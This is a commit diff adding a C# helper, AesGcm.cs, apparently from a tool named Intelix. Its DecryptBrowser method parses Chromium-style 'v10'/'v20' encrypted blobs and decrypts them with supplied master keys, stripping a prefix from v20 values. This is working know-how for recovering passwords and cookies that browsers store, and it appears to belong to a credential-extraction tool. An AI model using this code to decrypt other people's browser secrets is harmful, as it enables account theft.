initial commit

Intelix.Helper.Encrypted/AesGcm.cs

@@ -0,0 +1,99 @@
+using System;
+using System.Text;
+
+namespace Intelix.Helper.Encrypted;
+
+public static class AesGcm
+{
+	private const int MacBitSize = 128;
+
+	private const int NonceBitSize = 96;
+
+	private const int TagBytes = 16;
+
+	private const int NonceBytes = 12;
+
+	private const int HeaderBytes = 3;
+
+	public static byte[] DecryptBrowser(byte[] encryptedData, byte[] masterKey10, byte[] masterKey20, bool checkprefix)
+	{
+		if (encryptedData.Length < 31)
+		{
+			return null;
+		}
+		string text = Encoding.ASCII.GetString(encryptedData, 0, 3);
+		byte[] array = new byte[12];
+		Buffer.BlockCopy(encryptedData, 3, array, 0, 12);
+		int num = 15;
+		int num2 = encryptedData.Length - num - 16;
+		if (num2 < 0)
+		{
+			return null;
+		}
+		byte[] array2 = new byte[num2];
+		if (num2 > 0)
+		{
+			Buffer.BlockCopy(encryptedData, num, array2, 0, num2);
+		}
+		byte[] array3 = new byte[16];
+		Buffer.BlockCopy(encryptedData, encryptedData.Length - 16, array3, 0, 16);
+		byte[] array4 = ((text == "v20") ? masterKey20 : ((text == "v10") ? masterKey10 : null));
+		if (array4 == null)
+		{
+			return null;
+		}
+		byte[] array5 = AesGcm256.Decrypt(array4, array, null, array2, array3);
+		if (array5 == null)
+		{
+			return null;
+		}
+		if (checkprefix && HasPrefix(array5))
+		{
+			if (array5.Length <= 32)
+			{
+				return array5;
+			}
+			int num3 = 0;
+			for (int i = 0; i < 32; i++)
+			{
+				byte b = array5[i];
+				if (b >= 32 && b <= 126)
+				{
+					num3++;
+				}
+				if (num3 > 2)
+				{
+					break;
+				}
+			}
+			if (num3 > 2)
+			{
+				if (array5.Length <= 32)
+				{
+					return new byte[0];
+				}
+				byte[] array6 = new byte[array5.Length - 32];
+				Array.Copy(array5, 32, array6, 0, array6.Length);
+				return array6;
+			}
+		}
+		return array5;
+	}
+
+	private static bool HasPrefix(byte[] plainText)
+	{
+		if (plainText.Length < 32)
+		{
+			return false;
+		}
+		int num = 0;
+		for (int i = 0; i < 32; i++)
+		{
+			if (plainText[i] >= 32 && plainText[i] <= 126)
+			{
+				num++;
+			}
+		}
+		return num > 2;
+	}
+}